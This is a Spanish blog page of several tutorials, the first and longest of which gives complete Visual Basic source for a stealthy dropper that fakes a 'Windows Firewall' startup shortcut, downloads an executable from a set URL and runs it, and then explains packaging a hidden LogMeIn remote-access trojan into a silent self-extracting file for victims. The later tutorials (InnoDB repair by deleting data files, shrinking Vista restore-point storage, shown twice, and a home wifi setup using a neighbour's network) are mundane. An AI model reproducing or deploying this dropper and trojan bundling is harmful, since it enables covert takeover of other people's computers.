Tutoriales

Downloader en VB INDETECTABLE! –> Complemento para el Troyano con LogMeIn

Downloader en VB.

Este downloader, fue creado con la intencion de utilizarlo con este post, pero cabe aclarar que sirve para cualquier otra aplicacion.

Qué es un Downloader?

Un downloader se utiliza para descargar en la maquina victima un programa pesado, es desir, que ocupa muchos MB entonces se hace imposible camuflarlo para mandarlo por messenger por ejemplo. En general, este “Programa Pesado” es un virus, o un troyano como en el caso nuestro.

Lo que hace es, basicamente, generar un server liviano, (20k) y cuando es ejecutado por la victima, se “instala” secretamente en la maquina y comienza a descargar el archivo, desde la URL que nosotros le hayamos indicado…  cuando la descarga es finalizada, ejecuta el archivo descargado.

Eso es todo.

Comenzamos con el desarrollo de nuestro Downloader

El codigo está escrito en VB, solo hay que pegar el codigo en un Form,  compilar y Listo! no necesita de ningun complemento.

Solo hay que editar 2 lineas, una es la URL de donde se descargara el archivo, y la otra es el Path de destino (donde se guardará) el mismo.

El downloader puede descargar y ejecutar cualquier extension de archivo, siempre y cuando esa extension esté asociada con algun programa en la PC victima. (comando Shell Execute)

Este downloader, al ser ejecutado, guarda un acceso directo al ejecutable del mismo, en la carpeta de inicio del sistema (menu inicio–>programas–>inicio), esto es por si la victima apaga la pc y el archivo no se ha terminado de descargar aun, entonces cuando la vuelva a prender, se comenzara a descargar nuevamente. Una vez terminada la descarga, el acceso directo se elimina.

Este es el codigo fuente del Downloader en VB:

[cc lang=”VB”]

‘declaraciones para ejecutar una vez descargado
Private Declare Function ShellExecute Lib “shell32.dll” Alias “ShellExecuteA” (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
‘declaraciones para guardar el archivo ini
Private Declare Function GetPrivateProfileString Lib “kernel32” Alias “GetPrivateProfileStringA” (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib “kernel32” Alias “WritePrivateProfileStringA” (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Declare Function FileExists Lib “shlwapi.dll” Alias “PathFileExistsA” (ByVal pszPath As String) As Long
‘declaraciones para descargar
Private Declare Function URLDownloadToFile Lib “urlmon” _
Alias “URLDownloadToFileA” _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS
‘declaraciones para guardar el acceso directon en el inicio del sistema
Private Declare Function SHGetSpecialFolderLocation Lib “shell32.dll” ( _
ByVal hwndOwner As Long, _
ByVal nFolder As Long, _
pidl As ITEMIDLIST) As Long
Private Declare Function SHGetPathFromIDList Lib “shell32.dll” Alias “SHGetPathFromIDListA” ( _
ByVal pidl As Long, _
ByVal pszPath As String) As Long
Private Const MAX_PATH = 260
Private Type SHITEMID
cb As Long
abID As Byte
End Type
Private Type ITEMIDLIST
mkid As SHITEMID
End Type
Private Const CSIDL_STARTUP = &H7
Private Const CSIDL_COMMON_STARTUP = &H18
Dim obj As Object
Dim acceso_directo As Object

Private Sub form_load()
Dim estado As String
Iniciarconwindows
estado = INI_Read(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”)
If Trim(estado) = “Listo!” Then
Quitariniciarconwindows
End
End If
Dim sSourceUrl As String
Dim sDestinationUrl As String

sSourceUrl = “http://www.mipagina.com.ar/lordblacksuca.exe”  ‘ esta es la URL de donde se descarga el archivo
sDestinationUrl = “C:\lordblacksuca.msi”  ‘este es el path donde se va a guardar el archivo

Call INI_Write(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”, “Descargando”)
DownloadFile sSourceUrl, sDestinationUrl
Call ShellExecute(Me.hwnd, vbNullString, sDestinationUrl, vbNullString, vbNullString, SW_SHOWNORMAL)
Call INI_Write(App.Path & “\FirewallOptions.ini”, “Estado”, “Update”, “Listo!”)
End
End Sub
‘funcion para descargar
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0, sURL, _
sLocalFile, 0, 0) = ERROR_SUCCESS
End Function
‘funcion para que el programa inicie cuando se inicia windows
Private Function Iniciarconwindows()
Set obj = CreateObject(“wscript.Shell”)
Set acceso_directo = obj.CreateShortcut(GetSpecialfolder(CSIDL_STARTUP) & “\Windows Firewall.lnk”)
With acceso_directo
.TargetPath = App.Path & “\” & App.EXEName
.Save
End With
End Function
Function Quitariniciarconwindows()
If Dir(GetSpecialfolder(CSIDL_STARTUP) & “\Comodin.lnk”, vbNormal) = “” Then Exit Function
Call Kill(GetSpecialfolder(CSIDL_STARTUP) & “\Comodin.lnk”)
End Function
‘funcion para escribir y leer de un ini
Public Function INI_Read(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, Optional ByVal Default As String) As String
On Error GoTo ErrOut
Dim Size As Integer
Dim Value As String
‘Comprobamos que el archivo existe:
If Not CBool(FileExists(Filename)) Then Err.Raise 53
‘Se define el tamaño maximo de caracteres
‘que podra tener la variable Value:
Value = Space(256)
‘Se utiliza la función para obtener
‘el valor de la clave:
Size = GetPrivateProfileString(Key_Value, Key_Name, Default, Value, Len(Value), Filename)
‘Si el tamaño es mayor a 0 entonces
‘se ha encontrado el valor de la clave:
If Size > 0 Then
Value = VBA.Left$(Value, Size)
‘Devolvemos el valor de la clave:
If VBA.Right$(VBA.Trim$(Value), 1) = Chr(0) Then Value = VBA.Left$(VBA.Trim$(Value), Len(VBA.Trim$(Value)) – 1)
INI_Read = VBA.Trim$(Value)
Exit Function
End If
ErrOut:
INI_Read = Default
End Function
‘Metodo de escritura. Si el archivo al que se refiere el parametro Filename
‘no existe se crea automaticamente:
Public Sub INI_Write(ByVal Filename As String, ByVal Key_Value As String, ByVal Key_Name As String, ByVal Value As String)
On Error GoTo ErrOut
Dim Size As Integer
‘Escribimos el valor de la clave:
Size = WritePrivateProfileString(Key_Value, Key_Name, Value, Filename)
ErrOut:
End Sub

‘funcion para obtener el path al inicio del sistema
Private Function GetSpecialfolder(CSIDL As Long) As String
Dim ret As Long, IDL As ITEMIDLIST
ret = SHGetSpecialFolderLocation(100, CSIDL, IDL)
If ret = NOERROR Then
Path$ = Space$(512)
ret = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) – 1)
Exit Function
End If
GetSpecialfolder = “”
End Function

[/cc]

Para que no se gasten en Copiar y Pegar, aca les dejo el Proyecto de Visual Basic para que descargen:

Downloader en VB

Eso fue todo en cuanto al Downloader.


Complementando el Troyano Indetectable con LogMeIn

Como habrán visto, el troyano se compone de 3 archivos. El Instalador Modificado de LogMeIn, el Patch para hacerlo invisible y un archivo .bat, para coordinar todo. Ahora, tenemos que unirlos a todos en un solo .exe

Aclaro en este punto, que existen muchas formas de hacerlo, cualquiera es válida, solo hay que tener una precaución:

Este troyano fue ideado para ejecutarse mediante una Inyección USB por lo tanto habia cosas que no importaban, pero que ahora si, por ejemplo, el archivo ejecutar.bat contiene nuestros datos de acceso a la cuenta de LogMeIn, por lo tanto, si el downloader descarga el archivo, la victima tendria “al alcance de sus manos” nuestros datos, entonces resultariamos nosotros los “hackeados”.

Eso se puede solucionar, convirtiendo el archivo .bat a .exe mediante el programa Bat to Exe Converter de esta forma:

Convertir el .bat a .exe

1º Descargar al archivo:  http://rapidshare.com/files/270764528/DownloaderVB_y_Bat_to_Exe_Converter.rar

2º Seleccionar el archivo .bat a ser convertido.

3º Configurar las opciones ASI:

Opciones de configuración de Bat to Exe Converter
Opciones de configuración de Bat to Exe Converter

4º Apretar Compile y Listo!

Teniendo ese tema solucionado, solo resta unir todos los archivos necesarios para la ejecución.

Para ello, utilizamos el WinRar, y hacemos un archivo SelfExtract invisible, y que al finalizar ejecute el archivo, ejecutar.exe de esta forma:

1º Seleccionar los archivos: ejecutar.exe, el Instalador Modificado de Logmein y el Patch para hacerlo invisible, hacer click derecho sobre uno de ellos y poner Añadir al Archivo… o Add to file… si esta en inglés.  (DEBES tener el WinRar instalado)

2º Seleccionamos Crear un Archivo SFX y Crear un Archivo sólido

Creando el único ejecutable
Creando el único ejecutable

3º En la pestaña Avanzado, hacemos click en Opciones SFX… ahí debemos indicar, que los archivos se extraigan en la misma carpeta y escribimos el nombre del archivo que tiene que ejecutar al finalizar la extracción:

Opciones de SFX
Opciones de SFX

4º En la pestaña Modos, configurar de la siguiente forma:

Opciones SFX "Modos"
Opciones SFX "Modos"

5º Si lo deseas en la pestaña Texto e Icono, puedes seleccionar un icono para el exe final.

6º Apretar en Aceptar y Listo!

Eso fue todo.

Este archivo que hemos creado, es un único archivo .exe, que al ser ejecutado, descomprime los otros archivos en la misma carpeta, y luego ejecuta el archivo llamado ejecutar.exe que es el que inicia todo el proceso de instalacion.

OBIAMENTE, los pasos a seguir, son subir el ultimo archivo creado a un ftp, y apuntar esa URL al downloader, para que este lo descargue y ejecute.

En un próximo post, vemos como hacer para camuflar el server del downloader.

Reparar InnoDB en Ubuntu…

Errores con InnoDB en Ubuntu

Muchas veces, nos encontramos queriendo hacer una Tabla para una Base de datos  MYSQL en Ubuntu con claves foraneas, y nos damos por sorpresa que InnoDB no esta activado.

Lo primero que cualquier persona hace es: Google–> ¿Como activar InnoDB en Ubuntu?    a lo que Google responde… que hay que editar el archio de configuracion, comentando la linea que dice Skip-InnoDB, y reiniciando el servicio de mysql…

PERO AVECES, ESO NO FUNCIONA, como lo fue en mi caso  Mysql, sigue iniciando con InnoDB desactivado!

Ni siquiera ningun mensaje de error me tira…

el problema radica en  los logs de InnoDB. al iniciar de forma incorrecta, se genera un LOG CORRUPTO, que sencillamente, no deja que se inicie InnoDB.

solucion:

ir hasta la carpeta:


/var/lib/mysql

y eliminar por completo los siguientes archivos:


ibdata1
ib_logfile0
ib_logfile1

despues reinicias mysql con la siguiente linea:


sudo /etc/init.d/mysql start

Y LISTO ahora InnoDB va a funcionar perfectamente!

Windows Vista te ROBA espacio en el disco duro… como liberar varios GB!

Como Cambiar el límite de espacio que windows usa para los puntos de restauración. (Restaurar el Sistema)

En discos duros grandes Windows ocupa más de 40GB de “Espacio desconocido”   o dicho de otra forma, de Puntos de Restauración.

Me compre la laptop, con la cual estoy escribiendo esta entrada, en marzo de este año….    hace unos 5 meses. Tiene un disco duro de 320 GB, el cual, yo dividí en dos, en una partición de 290GB, corro Windows Vista Home Premium, y en el espacio sobrante, tengo una particion ext3, en donde tengo Ubuntu.

recientemente…    instale un software, de maquina virtual, (Moka5) , la primera instalación falló, por motivos desconocidos… pero no importa, borre y volvi a instalar, esta vezz andubo.  Pero como no me gustó, la quite, y desde ese momento, perdi mas de 40GB de espacio.

¿qué paso? bueno, cada vez q instalas algo Windows Vista, genera una imagen, un punto de restauración, cuyo límite es de 40GB, en discos grandes. Supuestamente, los puntos de restauración se borran automaticamente, cada cierto tiempo.

si bien, no estoy 100% seguro de lo que paso, mi intuición me dice, que lo que ocurrio en mi caso,  fue que el archivo en donde se “guarda la maquina virtual” (20GB aprox (lo vi al “instalar el windows virtual”)), fue tomado por windows en el punto de restauración, y el hecho de instalara el programa 2 veces, hizo que inminentemente, el espacio para los puntos de restauración se llenara, ocupando 40 GB en un momento.

SOLUCIÓN:

Existen 2 posibilidades:

  1. Desactivar el sistema de Puntos de Restauración de Windows.   NO LO RECOMIENDO ya que este sistema te puede ayudar MUY mucho en algunas situaciones.
  2. LIMITAR EL ESPACIO QUE UTILIZAN LOS PUNTOS DE RESTAURACIÓN

esto, es muy sencillo de hacer en 1 simple paso, desde la consola de windows.

antes de hacer nada, recomiendo que chequeen, que realmente éste sea su problema, si es así, se daran cuenta que el resultado que muestra esto, es que efectivamentewindows está utilizando todo el espacio disponible para puntos de restauracion

vssadmin list shadowstorage

y ahora, la magia….

vssadmin resize shadowstorage /on=C: /for=C: /maxsize=5GB
 

con esa simple linea (ojo con los espacios en blanco),  limitan  a 5GB  el espacio que windows reserva para los puntos de restauración, entonces, lo que va a hacer, es automaticamente ir eliminando puntos de restauración cuando se llene el espacio reservado.

cada punto de restauracion “normal” ocupa mas o menos 1GB, asique no hay que preocuparse por eso..   no es que se desactive el sistema.

Espero que esto le sirva de ayuda a alguien….    SI TE SIRVIÓ… COMENTÁ

Saludos!

Como Cambiar el límite de espacio que windows usa para los puntos de restauración. (Restaurar el Sistema)

En discos duros grandes Windows ocupa más de 40GB de “Espacio desconocido”   o dicho de otra forma, de Puntos de Restauración.

Me compre la laptop, con la cual estoy escribiendo esta entrada, en marzo de este año….    hace unos 5 meses. Tiene un disco duro de 320 GB, el cual, yo dividí en dos, en una partición de 290GB, corro Windows Vista Home Premium, y en el espacio sobrante, tengo una particion ext3, en donde tengo Ubuntu.

recientemente…    instale un software, de maquina virtual, (Moka5) , la primera instalación falló, por motivos desconocidos… pero no importa, borre y volvi a instalar, esta vezz andubo.  Pero como no me gustó, la quite, y desde ese momento, perdi mas de 40GB de espacio.

¿qué paso? bueno, cada vez q instalas algo Windows Vista, genera una imagen, un punto de restauración, cuyo límite es de 40GB, en discos grandes. Supuestamente, los puntos de restauración se borran automaticamente, cada cierto tiempo.

si bien, no estoy 100% seguro de lo que paso, mi intuición me dice, que lo que ocurrio en mi caso,  fue que el archivo en donde se “guarda la maquina virtual” (20GB aprox (lo vi al “instalar el windows virtual”)), fue tomado por windows en el punto de restauración, y el hecho de instalara el programa 2 veces, hizo que inminentemente, el espacio para los puntos de restauración se llenara, ocupando 40 GB en un momento.

SOLUCIÓN:

Existen 2 posibilidades:

  1. Desactivar el sistema de Puntos de Restauración de Windows.   NO LO RECOMIENDO ya que este sistema te puede ayudar MUY mucho en algunas situaciones.
  2. LIMITAR EL ESPACIO QUE UTILIZAN LOS PUNTOS DE RESTAURACIÓN

esto, es muy sencillo de hacer en 1 simple paso, desde la consola de windows.

antes de hacer nada, recomiendo que chequeen, que realmente éste sea su problema, si es así, se daran cuenta que el resultado que muestra esto, es que efectivamentewindows está utilizando todo el espacio disponible para puntos de restauracion

vssadmin list shadowstorage

y ahora, la magia….

vssadmin resize shadowstorage /on=C: /for=C: /maxsize=5GB
 

con esa simple linea (ojo con los espacios en blanco),  limitan  a 5GB  el espacio que windows reserva para los puntos de restauración, entonces, lo que va a hacer, es automaticamente ir eliminando puntos de restauración cuando se llene el espacio reservado.

cada punto de restauracion “normal” ocupa mas o menos 1GB, asique no hay que preocuparse por eso..   no es que se desactive el sistema.

Espero que esto le sirva de ayuda a alguien….    SI TE SIRVIÓ… COMENTÁ

Saludos!

Como hacer una red wifi casera, con conexion a INTERNET MEDIANTE USB

Bueno, empiezo haciendo un copy & past de mis tutoriales que estan en dhackers.net

Voy a explicar como hacer una red wireless casera, en Windows. Pero lo interesante es que la conexion a internet, no  es por medio de modem ADSL, u otra, ?sta red  tiene internet por medio de una placa usb, como esas que ofrecen las companias de telefonia celular, con conexion 3G…

bien, de ese tipo de aparatos estoy hablando. pero tambien, seria la misma configuracion para un adaptador de tipo Wireless G para USB. (suponiendo que estamos conectados a la red del vecino  ph34r biggrin JAJAJA)

Bueno  entonces…  teniendo la intro del tuto hecha…  Comenzamos

Lista de Materiales

1- Una PC vieja. yo use una pentium II, y le puse Windows XP SP 2
2- Un Router Wireless. Yo tengo un D-link Dir-300
3- El adaptador 3G o Wireless USB.  Yo, como estoy “conectado” a la red del vecino, uso el adaptador Wireless.

Conexiones

El secreto esta en usar la pc vieja, como un tipo de servidor.

de esta forma:

Red
Red

Configuraciones

debemos tener en cuenta, que vamos a hacer 2 redes…  una entre la pc y el router…  y la otra va a ser entre el router y las demas pc, de la red.

hay 3 cosas para configurar.

el adapdator usb
la placa ethernet de la pc, que va a estar conectada al router
el router

1- El adaptador USB.

bueno, en este paso, ustedes veran…  si estan conectados a la red del vecino…  las IP, la subred y la puerta de enlace quedaran iguales.

esta es mi configuracion:

esos, datos, no los puedo cambiar,  lo mismo que si tuviera un apartito 3G.
el  secreto, esta AQUI:

En Compartir la conexion, hay que tildar las 2 cosas, como se ve en la imagen.

Ustedes diran: esto no es nada nuevo…   y  yo les digo, que no, pero como no encontre ningun manual de este tipo, lo hago especialmente para dhackers.net.

Seguimos….

2- Configuracion de la placa de red

En este punto, tenemos que tener en cuenta que lo que vamos a hacer son 2 redes, una con IP, del tipo 192.168.0.1, y la  otra del tipo 192.168.1.1

entonces, vamos a ponerle a nuestra pc vieja la siguiente configuracion de IP

2- Configuracion del Router Wireless

Bien, cada router tiene su propio sistema de configuracion, por lo que tal vez, los nombres que voy a decir, no sean los mismos, pero, seguramente son muy parecidos.

En “Internet Setup” que en espa?ol significa algo asi como “Configuracion de Internet”

ponen, que tienen una IP Estatica (Static IP) y ponen los otros datos como en la imagen:

Asi, queda hecha la red entre la pc vieja y el router, como veran la Puerta de enlace del router, es la IP de la pc vieja.

Eso, es todo lo “Complicado”

en este punto, nuestro router “ve” una conexion a internet, de la misma manera que si proviniera de un modem ADSL

De ahora en mas, solo resta confgurar segun nuestros requerimientos el router.

YO, le puse al router IP: 192.168.1.1

y habilite el DHCP y con eso, la parte LAN, me quedo Lista.

Y con respecto al wireless, lo unico que cambie de lo que venia por defecto, es que le puse una encriptacion WPA de 128 bits..   por seguridad nomas.

ESO ES TODO.

Este tutorial, esta apuntado a los usuarios con un poco de conocimiento de redes…

lo hice, porque cuando estaba haciendo la red de mi casa, por el metodo de PRUEBA Y ERROR,  wacko wacko
busque en internet un manual con algo parecido a lo que yo queria hacer PERO NO LO ENCONTRE.

Desde ya, pido disculpas, porque seguramente he cometido errores, por eso le pido a los usuarios que sepan, que me corrijan …

Gracias Dhackers.net

Lordblacksuca